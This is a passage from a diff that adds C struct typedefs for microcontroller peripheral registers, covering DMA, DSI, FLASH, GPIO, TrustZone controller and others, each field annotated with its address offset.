HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief DSI Controller + */ +typedef struct +{ + __IO uint32_t VR; /*!< DSI Host Version Register, Address offset: 0x00 */ + __IO uint32_t CR; /*!< DSI Host Control Register, Address offset: 0x04 */ + __IO uint32_t CCR; /*!< DSI HOST Clock Control Register, Address offset: 0x08 */ + __IO uint32_t LVCIDR; /*!< DSI Host LTDC VCID Register, Address offset: 0x0C */ + __IO uint32_t LCOLCR; /*!< DSI Host LTDC Color Coding Register, Address offset: 0x10 */ + __IO uint32_t LPCR; /*!< DSI Host LTDC Polarity Configuration Register, Address offset: 0x14 */ + __IO uint32_t LPMCR; /*!< DSI Host Low-Power Mode Configuration Register, Address offset: 0x18 */ + uint32_t RESERVED0[4]; /*!< Reserved, 0x1C - 0x2B */ + __IO uint32_t PCR; /*!< DSI Host Protocol Configuration Register, Address offset: 0x2C */ + __IO uint32_t GVCIDR; /*!< DSI Host Generic VCID Register, Address offset: 0x30 */ + __IO uint32_t MCR; /*!< DSI Host Mode Configuration Register, Address offset: 0x34 */ + __IO uint32_t VMCR; /*!< DSI Host Video Mode Configuration Register, Address offset: 0x38 */ + __IO uint32_t VPCR; /*!< DSI Host Video Packet Configuration Register, Address offset: 0x3C */ + __IO uint32_t VCCR; /*!< DSI Host Video Chunks Configuration Register, Address offset: 0x40 */ + __IO uint32_t VNPCR; /*!< DSI Host Video Null Packet Configuration Register, Address offset: 0x44 */ + __IO uint32_t VHSACR; /*!< DSI Host Video HSA Configuration Register, Address offset: 0x48 */ + __IO uint32_t VHBPCR; /*!< DSI Host Video HBP Configuration Register, Address offset: 0x4C */ + __IO uint32_t VLCR; /*!< DSI Host Video Line Configuration Register, Address offset: 0x50 */ + __IO uint32_t VVSACR; /*!< DSI Host Video VSA Configuration Register, Address offset: 0x54 */ + __IO uint32_t VVBPCR; /*!< DSI Host Video VBP Configuration Register, Address offset: 0x58 */ + __IO uint32_t VVFPCR; /*!< DSI Host Video VFP Configuration Register, Address offset: 0x5C */ + __IO uint32_t VVACR; /*!< DSI Host Video VA Configuration Register, Address offset: 0x60 */ + __IO uint32_t LCCR; /*!< DSI Host LTDC Command Configuration Register, Address offset: 0x64 */ + __IO uint32_t CMCR; /*!< DSI Host Command Mode Configuration Register, Address offset: 0x68 */ + __IO uint32_t GHCR; /*!< DSI Host Generic Header Configuration Register, Address offset: 0x6C */ + __IO uint32_t GPDR; /*!< DSI Host Generic Payload Data Register, Address offset: 0x70 */ + __IO uint32_t GPSR; /*!< DSI Host Generic Packet Status Register, Address offset: 0x74 */ + __IO uint32_t TCCR[6]; /*!< DSI Host Timeout Counter Configuration Register, Address offset: 0x78-0x8F */ + uint32_t RESERVED1; /*!< Reserved, 0x90 */ + __IO uint32_t CLCR; /*!< DSI Host Clock Lane Configuration Register, Address offset: 0x94 */ + __IO uint32_t CLTCR; /*!< DSI Host Clock Lane Timer Configuration Register, Address offset: 0x98 */ + __IO uint32_t DLTCR; /*!< DSI Host Data Lane Timer Configuration Register, Address offset: 0x9C */ + __IO uint32_t PCTLR; /*!< DSI Host PHY Control Register, Address offset: 0xA0 */ + __IO uint32_t PCONFR; /*!< DSI Host PHY Configuration Register, Address offset: 0xA4 */ + __IO uint32_t PUCR; /*!< DSI Host PHY ULPS Control Register, Address offset: 0xA8 */ + __IO uint32_t PTTCR; /*!< DSI Host PHY TX Triggers Configuration Register, Address offset: 0xAC */ + __IO uint32_t PSR; /*!< DSI Host PHY Status Register, Address offset: 0xB0 */ + uint32_t RESERVED2[2]; /*!< Reserved, 0xB4 - 0xBB */ + __IO uint32_t ISR[2]; /*!< DSI Host Interrupt & Status Register, Address offset: 0xBC-0xC3 */ + __IO uint32_t IER[2]; /*!< DSI Host Interrupt Enable Register, Address offset: 0xC4-0xCB */ + uint32_t RESERVED3[3]; /*!< Reserved, 0xD0 - 0xD7 */ + __IO uint32_t FIR[2]; /*!< DSI Host Force Interrupt Register, Address offset: 0xD8-0xDF */ + uint32_t RESERVED4[5]; /*!< Reserved, 0xE0 - 0xF3 */ + __IO uint32_t DLTRCR; /*!< DSI Host Data Lane Timer Read Configuration Register, Address offset: 0xF4 */ + uint32_t RESERVED5[2]; /*!< Reserved, 0xF8 - 0xFF */ + __IO uint32_t VSCR; /*!< DSI Host Video Shadow Control Register, Address offset: 0x100 */ + uint32_t RESERVED6[2]; /*!< Reserved, 0x104 - 0x10B */ + __IO uint32_t LCVCIDR; /*!< DSI Host LTDC Current VCID Register, Address offset: 0x10C */ + __IO uint32_t LCCCR; /*!< DSI Host LTDC Current Color Coding Register, Address offset: 0x110 */ + uint32_t RESERVED7; /*!< Reserved, 0x114 */ + __IO uint32_t LPMCCR; /*!< DSI Host Low-power Mode Current Configuration Register, Address offset: 0x118 */ + uint32_t RESERVED8[7]; /*!< Reserved, 0x11C - 0x137 */ + __IO uint32_t VMCCR; /*!< DSI Host Video Mode Current Configuration Register, Address offset: 0x138 */ + __IO uint32_t VPCCR; /*!< DSI Host Video Packet Current Configuration Register, Address offset: 0x13C */ + __IO uint32_t VCCCR; /*!< DSI Host Video Chunks Current Configuration Register, Address offset: 0x140 */ + __IO uint32_t VNPCCR; /*!< DSI Host Video Null Packet Current Configuration Register, Address offset: 0x144 */ + __IO uint32_t VHSACCR; /*!< DSI Host Video HSA Current Configuration Register, Address offset: 0x148 */ + __IO uint32_t VHBPCCR; /*!< DSI Host Video HBP Current Configuration Register, Address offset: 0x14C */ + __IO uint32_t VLCCR; /*!< DSI Host Video Line Current Configuration Register, Address offset: 0x150 */ + __IO uint32_t VVSACCR; /*!< DSI Host Video VSA Current Configuration Register, Address offset: 0x154 */ + __IO uint32_t VVBPCCR; /*!< DSI Host Video VBP Current Configuration Register, Address offset: 0x158 */ + __IO uint32_t VVFPCCR; /*!< DSI Host Video VFP Current Configuration Register, Address offset: 0x15C */ + __IO uint32_t VVACCR; /*!< DSI Host Video VA Current Configuration Register, Address offset: 0x160 */ + uint32_t RESERVED9; /*!< Reserved, 0x164 */ + __IO uint32_t FBSR; /*!< DSI Host FIFO and Buffer Status Register, Address offset: 0x168 */ + uint32_t RESERVED10[165];/*!< Reserved, 0x16C - 0x3FF */ + __IO uint32_t WCFGR; /*!< DSI Wrapper Configuration Register, Address offset: 0x400 */ + __IO uint32_t WCR; /*!< DSI Wrapper Control Register, Address offset: 0x404 */ + __IO uint32_t WIER; /*!< DSI Wrapper Interrupt Enable Register, Address offset: 0x408 */ + __IO uint32_t WISR; /*!< DSI Wrapper Interrupt and Status Register, Address offset: 0x40C */ + __IO uint32_t WIFCR; /*!< DSI Wrapper Interrupt Flag Clear Register, Address offset: 0x410 */ + uint32_t RESERVED11; /*!< Reserved, 0x414 */ + __IO uint32_t WPCR[1]; /*!< DSI Wrapper PHY Configuration Register 0, Address offset: 0x418 */ + uint32_t RESERVED12[5]; /*!< Reserved, 0x41C - 0x42F */ + __IO uint32_t WRPCR; /*!< DSI Wrapper Regulator and PLL Control Register, Address offset: 0x430 */ + uint32_t WPTR; /*!< DSI Wrapper PLL tuning register, Address offset: 0x434 */ + uint32_t RESERVED13[244];/*!< Reserved, 0x43C - 0x804 */ + __IO uint32_t BCFGR; /*!< DSI Bias Configuration Register, Address offset: 0x808 */ + uint32_t RESERVED14[254];/*!< Reserved, 0x80C - 0xC00 */ + __IO uint32_t DPCBCR; /*!< D-PHY clock band control register, Address offset: 0xC04 */ + uint32_t RESERVED15[11]; /*!< Reserved, 0xC08 - 0xC30 */ + __IO uint32_t DPCSRCR; /*!< D-PHY clock slew rate control register, Address offset: 0xC34 */ + uint32_t RESERVED16[9]; /*!< Reserved, 0xC38 - 0xC58 */ + __IO uint32_t DPDL0HSOCR; /*!< D-PHY data Lane 0 HS offset control register, Address offset: 0x0C5C */ + __IO uint32_t DPDL0LPXOCR; /*!< D-PHY data Lane 0 HS LPX offset control register, Address offset: 0x0C60 */ + uint32_t RESERVED17[3]; /*!< Reserved, 0xC64-0xC6C */ + __IO uint32_t DPDL0BCR; /*!< D-PHY data Lane0 band control register, Address offset: 0x0C70 */ + uint32_t RESERVED18[11]; /*!< Reserved, 0xC74 - 0xC9C */ + __IO uint32_t DPDL0SRCR; /*!< D-PHY data Lane0 slew rate control register, Address offset: 0x0CA0 */ + uint32_t RESERVED19[20]; /*!< Reserved, 0xCA4 - 0xD04 */ + __IO uint32_t DPDL1HSOCR; /*!< D-PHY data Lane 1 HS offset control register, Address offset: 0x0CF4 */ + __IO uint32_t DPDL1LPXOCR; /*!< D-PHY data Lane 1 HS LPX offset control register, Address offset: 0x0CF8 */ + uint32_t RESERVED20[3]; /*!< Reserved, 0xCF8 - 0xD04 */ + __IO uint32_t DPDL1BCR; /*!< D-PHY data Lane1 band control register, Address offset: 0x0D08 */ + uint32_t RESERVED21[11]; /*!< Reserved, 0xD0C - 0xD34 */ + __IO uint32_t DPDL1SRCR; /*!< D-PHY data Lane1 slew rate control register, Address Offset: 0x0D38 */ +} DSI_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 */ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 